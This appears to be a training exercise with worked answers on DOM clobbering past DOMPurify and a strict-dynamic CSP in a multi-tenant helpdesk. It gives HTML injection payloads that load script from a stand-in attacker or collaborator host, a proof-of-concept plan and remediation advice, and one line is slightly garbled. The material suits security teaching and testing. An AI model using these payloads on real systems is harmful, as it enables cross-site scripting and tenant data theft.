DOM Clobbering Through a Sanitizer and strict-dynamic CSP
A SaaS helpdesk lets agents post comments that are rendered as markdown. The pipeline is marked โ DOMPurify 3.0.6 (default config) โ innerHTML. The page CSP is script-src 'self' 'nonce-R4nd0m' 'strict-dynamic'; object-src 'none'. DOMPurify's default configuration permits id, name, class, and data-* attributes. After the comment container, a nonce'd inline script runs:
const cfg = document.getElementById('widget-config') || {};
loadWidget(cfg.src);
loadWidget(u) creates a <script src=u> element and appends it. The app also exposes a same-origin JSONP endpoint, /api/export?callback=cb, which returns application/javascript and reflects the callback. There are 4,000 tenants on one shared origin. You have an agent account and can post comments visible to admins. The client is worried about tenant isolation.
1. DOMPurify removed every `<script>` and event handler, yet the CSP can still be bypassed. Trace the chain and explain each condition that must hold.
Read the worked answer
Chain: DOMPurify keeps <img id="widget-config" src="https://attacker.example/p.js">. The nonce'd script calls document.getElementById('widget-config'), gets the img element, reads cfg.src (the browser resolves it to the absolute attacker URL), and passes it to loadWidget. loadWidget creates a script element and appends it.
CSP normally blocks third-party script, but 'strict-dynamic' changes the trust model: a script created by an already-trusted (nonce'd) script is trusted regardless of origin. The nonce'd inline script is trusted, so the dynamically created attacker script is allowed. Conditions: (1) HTML injection survives DOMPurify, which default config permits because id and src are not forbidden; (2) the clobbered element exposes a src property; (3) the nonce'd script runs after the comment is in the DOM; (4) the script URL is reachable by the admin. The JSONP endpoint is not required for this chain, which is why blocking it alone would not help.
2. Write a minimal proof-of-concept payload and describe how you would verify execution with the least risk to the 4,000 tenants.
Read the worked answer
Minimal comment: <img id="widget-config" src="https://collab.example/poc.js">, where poc.js sets document.body.dataset.xss='1' and sends one request to a collaborator URL with a random marker. Do not read cookies or tokens; the marker is enough.
Verification: post the comment, view it as an admin in a test tenant or ask the client to, and confirm the collaborator hit. Use a unique marker per attempt so cached or repeated loads are distinguishable. Do not use a payload that performs admin actions, changes settings, or reads tokens. If a test tenant is unavailable, use your own agent account on a page that runs the same widget; the chain does not require admin privileges, only that the victim loads the comment.
Because all tenants share one origin, an admin XSS can reach other tenants' data if any admin view crosses tenant boundaries. Keep the proof read-only and time-boxed, and remove the comment after the callback is confirmed.
3. Which single remediation breaks the chain most reliably, and why is a CSP change alone insufficient?
Read the worked answer
Best single fix: stop treating DOM content as configuration. Replace document.getElementById('widget-config') with a non-DOM source - a server-rendered data attribute on a trusted element or a JS constant - and make loadWidget accept only a fixed same-origin URL or an allowlisted origin. Second: configure DOMPurify with FORBID_ATTR: ['id','name'] or an equivalent namespace check so clobbering is not possible.
CSP alone is insufficient because 'strict-dynamic' intentionally delegates trust to the nonce'd script; the CSP was working as designed. Removing strict-dynamic weakens the application and does not fix the underlying sink. Trusted Types with a policy that rejects dynamic script URLs adds defense in depth. The JSONP endpoint should still be reviewed, but it is not on this exploit path.